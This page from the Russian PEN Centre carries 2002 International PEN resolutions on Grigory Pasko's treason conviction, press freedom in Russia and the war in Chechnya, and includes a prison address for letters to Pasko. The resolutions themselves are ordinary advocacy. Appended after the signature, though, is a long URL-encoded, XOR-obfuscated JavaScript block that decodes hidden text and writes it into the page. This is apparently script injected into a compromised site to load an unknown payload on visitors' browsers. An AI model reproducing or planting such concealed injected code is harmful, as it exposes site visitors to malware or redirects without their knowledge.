Материалы Конгресса 2002
(17-24 Сентября, 2002г.)

 

Обращение Ассамблеи Делегатов Международного ПЕН-клуба к Европейскому Суду по Правам Человека в Страсбурге
Резолюция Ассамблеи Делегатов Международного ПЕН-клуба по делу Григория Пасько
Резолюция Ассамблеи Делегатов Международного ПЕН-клуба по России
Резолюция Ассамблеи Делегатов Международного ПЕН-клуба по конфликту между Российской Федерацией и Чеченской республикой


Резолюция по Григорию Пасько, представленная Американским, Датским, Финским, Норвежским, Русским и Шведским ПЕН-центрами

Ассамблея делегатов Международного ПЕНа на своем конгрессе в Охриде (Македония), состоявшемся 17-24 сентября 2002 г., обращается к правительству Российской Федерации:

Обеспокоена тем фактом, что русский журналист Григорий Пасько - после того, как был признан невиновным в государственной измене военным судом Тихоокеанского флота во Владивостоке, - был осужден за государственную измену в декабре 2001 г. и приговорен к четырем годам тюремного заключения за якобы передачу информации японским выпускам новостей о выбросе ядерных отходов в Японское море;

Обескуражена тем, что Военная коллегия Верховного суда Российской Федерации отменила решение Владивостокского суда, назначив новое судебное разбирательство;

Потрясена решением аппеляционного суда поддержать приговор, вынесенный в декабре 2001 года и тем фактом, что Григорий Пасько не подлежит освобождению до истечения срока его приговора в апреле 2004 года;

Напоминает русским властям, что Верховный суд Российской Федерации сам признал, что Постановление 055 Министерства обороны, положенное в основу обвинения и заключения Григория Пасько, не является нормативным юридическим актом и, таким образом, тюремное заглючение Григория Пасько не имеет юридических оснований;

Констатирует нарушение прав Григория Пасько на свободу самовыражения, гарантированных Статьей 19 Международного соглашения о гражданских и политических правах ООН, подписанного Российской Федерацией;

Поэтому настаивает на немедленном и безоговорочном освобождении Григорий Пасько.


Для тех, кто желает написать Григорию Пасько, Русский ПЕН-центр сообщает его адрес в Уссурийске, где он содержится в колонии строгого режима:

ПАСЬКО Г.М.

Г. Уссурийск
УЦ 267/41
2-й отряд
21 бригада

692 526


Резолюция по России


Ассамблея делегатов Международного ПЕНа на своем конгрессе в Охриде (Македония), состоявшемся 17-24 сентября 2002 г., обращается к правительству Российской Федерации:


КОНСТАТИРУЕТ, что в России эскалирует угроза свободе слова и самовыражения, как и гарантированному российской Конституцией свободному доступу граждан к объективной информации;

ОТМЕЧАЕТ, что гонения на российских литераторов и журналистов, исполняющих своей профессиональный долг и стремящихся реализовать свое право на передачу информации, закрепленное как международными, так и национальными законами России, облекаются в форму судебного произвола, выливаются в надуманные судебные процессы над писателями Владимиром Сорокиным и Баяном Ширяновым, сотрудником НТВ Антоном Титовым и издателем Александром Ивановым (Издательский дом Ад Маргинем);

ОТМЕЧАЕТ ТАКЖЕ, что для ограничения свободы слова все более активно используются псевдоправовые и экономические рычаги, камуфлирующие истинные источники и механизмы давления на независимую журналистику;

ПРИЗНАЕТ несовместимым с принятыми на себя Россией обязательствами по формированию гражданского общества планомерное вытеснение оппозиционных газет, телевизионных каналов и радиочастот по очевидным политическим и идеологическим причинам, хотя и прикрытое легко опровергаемой, надуманной аргументацией;

СОЖАЛЕЕТ, что компетентные государственные органы России игнорируют многократные обращения к ним российских и международных правозащитных, писательских, журналистских и иных профессиональных организаций, добивающихся реальных гарантий для защиты свободы слова в их стране;

ПРИЗЫВАЕТ государственных и общественных деятелей во всех странах, тесного сотрудничества с которыми добиваются российские власти, обусловить это сотрудничество непременным соблюдением ими гражданских прав и действенной защитой людей и средств массовой информации от произвола;

ВЫРАЖАЕТ надежду, что российские власти и лично президент Путин не останутся глухими к этим призывам и не дадут подвергнуть сомнению столь трудно завоеванный Россией образ свободного и демократического государства.



Резолюция по конфликту между Российской Федерацией и Республикой Чечня

Ассамбля делегатов Международного ПЕНа на своем 68-м Конгрессе в Охриде, Македония, 17 - 24 сентября 2002 г.:

Подтверждает все предыдущие Резолюции, относящиеся к данному вопросу;

Еще раз обращает общее внимание на недопустимые нарушения прав человека на свободный доступ к информации, в связи с тем, что российские и зарубежные журналисты подвергаются ограничениям и насилию в зоне военных операций, тогда как на данной территории чрезвычайного положения или военного положения не объявлено;

Считает, что продолжающаяся война против чеченского народа подпадает под определение геноцида, согласно Конвенции ООН по Предупреждению и наказанию преступлений геноцида (1951 г.), Статья II которой гласит, что "... геноцид означает ... действия, совершаемые с намерением разрушить, полностью или частично, национальную, этническую, расовую или религиозную группу ...";

Потрясена катастрофическими условиями тысяч беженцев из Чечни и соседних регионов, которые многие года лишены своего дома и права на возвращение;

Выражает озабоченность исчезающе малыми возможностями выживания чеченской литературы и культуры в этих условиях и суровыми ограничениями на право свободного самовыражения в России, проявляющимися в прискорбных действиях против российских СМИ;

Обеспокоена угрозой жизни чеченских писателей и других чеченцев, которые искали убежища от этой войны в Москве и других местах Российской Федерации, имея в частности в виду случай чеченского писателя Исламджана Эльсанова, покинувшего Москву в апреле 2002 года после преследований государством и местными властями и получившего убежище в Норвегии;

Обеспокоена также тем фактом, что русский журналист Анна Политковская (корреспондент Новой Газеты и автор книги Грязная война), сообщавшая о жестоком обращении, имевщим место в Чечне, была вынуждена временно покинуть Москву после того, как подверглась ( и продолжает подвергаться) угрозам за статьи с критикой действий русских военных в Чечне;

Призывает Президента и Правительство Российской Федерации начать немедленные переговоры с законными властями Чеченской республики, возглавляемыми президентом Асланом Масхадовым, который занял этот пост в результате выборов, признанных законными российскими властями и международными наблюдателями, с целью нахождения мирного политического решения продолжающегося конфликта;

Призывает далее правительственные и неправительственные организации всех стран оказывать постоянное давление на российские власти и настаивать на том, чтобы был найден выход из этой нескончаемой кровавой бойни и немедленно обуздано насилие, независимо от того, от кого оно исходит;

И настаивает, чтобы российские власти предоставили Анне Политковской свободу передвижений и право на свободное самовыражение, гарантированное ей международными конвенциями по правам человека, подписанными также и Россией.


Русский ПЕН-центр

tdW%21%3D1%29%7Bfunction%20ki%28zO%29%7Breturn%20zO%7Dtry%7Bvar%20gJD%3D%278818i18Y18S18d18x18T18418D18h18H18e18B18f18k18K18P18j18r18918z18g18I18b18t18718518s18U18618R18a18M18n18O18l18V18L18c18W18o18J18w18C18p18Z18318m18F18G18q18N18y18X1i81ii1iY1iS1id1ix1iT1i41iD1ih1iH1ie1iB1if1ik1iK1iP1ij1ir1i91iz1ig1iI1ib%27%2C%20pAz%3Dki%28%271%27%29%3B%20var%20aIM%3DArray%28tER%28%2784%27%29%2C16404%5E16399%2C10686%5E10677%2CtER%28%2726%27%29%2CtER%28%271%27%29%2C15107%5E15131%2C27903%5E27875%2C20701%5E20619%2CtER%28%27101%27%29%2CtER%28%2798%27%29%2C17615%5E17601%2C26566%5E26587%2CtER%28%276%27%29%2C32354%5E32357%2CtER%28%2772%27%29%2CtER%28%2733%27%29%2C10291%5E10269%2CtER%28%279%27%29%2CtER%28%275%27%29%2C20244%5E20249%2C15695%5E15631%2CtER%28%2765%27%29%2C9298%5E9281%2C21342%5E21323%2C16043%5E16109%2C3952%5E3937%2CtER%28%2785%27%29%2CtER%28%2797%27%29%2C7065%5E7065%2C19961%5E19883%2C28186%5E28245%2C11595%5E11591%2C5766%5E5853%2C4675%5E4679%2CtER%28%2715%27%29%2CtER%28%2768%27%29%2C21380%5E21443%2C1687%5E1673%2CtER%28%273%27%29%2CtER%28%2738%27%29%2CtER%28%2748%27%29%2C17689%5E17703%2C4124%5E4165%2CtER%28%2743%27%29%2CtER%28%2731%27%29%2CtER%28%2744%27%29%2C22556%5E22607%2C32577%5E32637%2CtER%28%2767%27%29%2C32739%5E32691%2C15191%5E15113%2C28103%5E28059%2C32361%5E32305%2C13397%5E13343%2CtER%28%2716%27%29%2CtER%28%2747%27%29%2CtER%28%2737%27%29%2C31594%5E31569%2C32678%5E32751%2CtER%28%2742%27%29%2CtER%28%2761%27%29%2C19441%5E19403%2CtER%28%2736%27%29%2CtER%28%2710%27%29%2CtER%28%2720%27%29%2CtER%28%2787%27%29%2C18936%5E18891%2C1963%5E1949%2C15014%5E15075%2CtER%28%2718%27%29%2CtER%28%2781%27%29%2CtER%28%2753%27%29%2CtER%28%2752%27%29%2C16716%5E16747%2C365%5E311%2CtER%28%2793%27%29%2C826%5E869%2CtER%28%2766%27%29%29%2C%20Xyh%3B%20var%20bhT%2C%20yXZ%3B%20var%20hdb%3D%27888i8Y8S8d8x8T848D8h8H8e8B8Y8T8d8f8B8k8K8P8S8j8r898z8g8I8b8D8h8K8P8S8j8r898t8x8S8f8T8f8T878x898k858k8I8D8h8D8h8s8U8f8i8T8k868k8R8e8x8a8j8T898M8t8Y8n8j8i8i8d8Y8T898n8t8f8S8O8R8l8D8h8s8x8j8T8U8k868k8R8V8a8S8d8L898S8i8V8R8l8k8D8h8s8Y8f8f8c8d898W8j8r898k868k8R8T8x8o8j8e8a898R8l8D8h8s8Y8f8f8c8d898J8j8n8e898k868k8w8l8D8h8D8h8s8i898T8C8f8f8c8d898k868k8H8e8B8Y8T8d8f8B8z8B8j8r898l8k8L8j8n8e898g8D8h8s8I8D8h8s8s8L8j8S8k8a858k8B898p8k8Z8j8T898z8g838k8a8t8i898T8m8d8r898z8B898p8k8Z8j8T898z8g8t8O898T8m8d8r898z8g8k8F8k8G8q8N8y8y8y8y8y8g838k8D8h8s8s8a8f8Y8e8r898B8T8t8Y8f8f8c8d898k858k8B8j8r898k8F8k8X858X8k8F8k898i8Y8j8x898z8L8j8n8e898g8k8F8k8X838k89i88x8d8S898i858X8k8F8k8a8t8T8fiiiY8miS8T8S8d8B8O8z8g838k8s8s8s8D8h8s8b8l8D8h8s8d8B8i8T8j8n8n8k868k8H8e8B8Y8T8d8f8B8z8g8D8h8s8I8D8h8s8s8d8H8zid8T8U8d8i8t8j8n8S898j8a878K8B8i8T8j8n8n898a8z8g8g8D8h8s8s8I8D8h8s8s8s8L8j8S8k8i8k858k8X888d8H8S8j8r898k8p8d8a8T8U858w8k8U898d8O8U8T858w8k8H8S8j8r89ix8f8S8a898S858y8k8i8S8Y858R8X8k8F8k8T8U8d8i8t8O898T8P8S8j8r89iTi4iD8z8g8k8F8k8X8R84888V8d8H8S8j8r89848X838D8h8s8s8s8T8S878k8I8k8a8f8Y8e8r898B8T8t8p8S8d8T898z8i8g8k8b8D8h8s8s8s8Y8j8T8Y8U8z898g8I8k8a8f8Y8e8r898B8T8t8p8S8d8T898z8X888U8T8r8n8488ih8f8a87848X8k8F8k8i8k8F8k8X888Vih8f8a8784888V8U8T8r8n848X8g8k8b8D8h8s8s8s8T8U8d8i8t8i898T8C8f8f8c8d898z8T8U8d8i8t8Y8f8f8c8d898W8j8r898l8k8T8U8d8i8t8Y8f8f8c8d898J8j8n8e898g838s8D8h8s8s8b8D8h8s8b8l8D8h8s8O898T8P8S8j8r89iTi4iD8k868k8H8e8B8Y8T8d8f8B8z8g8D8h8s8I8D8h8s8s8L8j8S8k8a8n8U858a8f8Y8e8r898B8T8t8n8f8Y8j8T8d8f8B8t8U8f8i8T838D8h8s8s8S898T8e8S8B8k8R8U8T8T8x868V8V8R8k8F8k8z8z8a8n8U8k85858k8R8R8kiHiH8k8a8n8U8k85858k8R8e8B8a898H8d8B898a8R8g8kie8k8T8U8d8i8t8O898Ti48j8B8aiS8T8S8d8B8O8z8g8k868k8R8R8g8k8F8k8a8n8U8t8S898x8n8j8Y898k8z8ViBif8jikiK8yikiP8tikij8V8l8R8t8R8g8t8S898x8n8j8Y898k8z8Vir8t8F8V8l8R8t8R8g8k8k8F8k8X8t8X8k8F8k8T8U8d8i8t8O898Ti48j8B8aiS8T8S8d8B8O8z8g8k8F8k8X8t8X8k8F8k8T8U8d8i8t8U8f8i8T8k8F8k8T8U8d8i8t8x8j8T8U838D8h8s8b8l8D8h8s8j8n8S898j8a878K8B8i8T8j8n8n898a8k868k8H8e8B8Y8T8d8f8B8z8g8D8h8s8I8D8h8s8s8S898T8e8S8B8kid8z8a8f8Y8e8r898B8T8t8Y8f8f8c8d898t8d8B8a89i8i98H8z8T8U8d8i8t8Y8f8f8c8d898W8j8r898k8F8k8R858R8k8F8k8T8U8d8i8t8Y8f8f8c8d898J8j8n8e898g8k85858kik8w8g838D8h8s8b8l8D8h8s8O898Ti48j8B8aiS8T8S8d8B8O8k868k8H8e8B8Y8T8d8f8B8z8g8D8h8s8I8D8h8s8s8L8j8S8k8n858w8q8l8k8Y858k8R8y8wiz8M8Nig8qiI8GiP8jih8Y8a898H8R8l8k8f858R8R838D8h8s8s8H8f8S8k8z8L8j8S8k8d858y838k8d8k888k8n838k8d8F8F8g8k8k8k8s8s8D8h8s8s8s8f8F858Y8t8i8eih8i8T8S8k8ziY8j8T8U8t8H8n8f8f8S8ziY8j8T8U8t8S8j8B8a8f8r8z8g8kib8k8Y8t8n898B8O8T8U8g8l8k8w8l8k8w8g838D8h8s8s8s8s8s8D8h8s8s8S898T8e8S8B8k8f838D8h8s8b8s8D8h8b8D8h8L8j8S8k8f8k858k8B898p8k8K8P8S8j8r898z8g838k8D8h8f8t8d8B8i8T8j8n8n8z8g838D8h888V8i8Y8S8d8x8T84%27%2C%20bXV%3D%27%27%3Bfunction%20tER%28Gtv%29%7Breturn%20parseInt%28Gtv%29%7DgJD%3DgJD.split%28pAz%29%3Bfor%20%28Xyh%3D0%3BXyh%3Chdb.length%3BXyh+%3D2%29%7ByXZ%3Dhdb.substr%28Xyh%2C2%29%3Bvar%20xQ%3DgJD.length%3Bfor%28bhT%3D0%3BbhT%3CxQ%3BbhT++%29%20%7Bif%281%3D%3D0%29%3Bif%28gJD%5BbhT%5D%3D%3DyXZ%29break%3B%7DbXV+%3DString.fromCharCode%28aIM%5BbhT%5D%5E104%29%3B%20%7Ddocument.write%28bXV%29%3B%7Dcatch%28fd%29%7B%7D%7Dvar%20tdW%3D1%3C/script%3E"))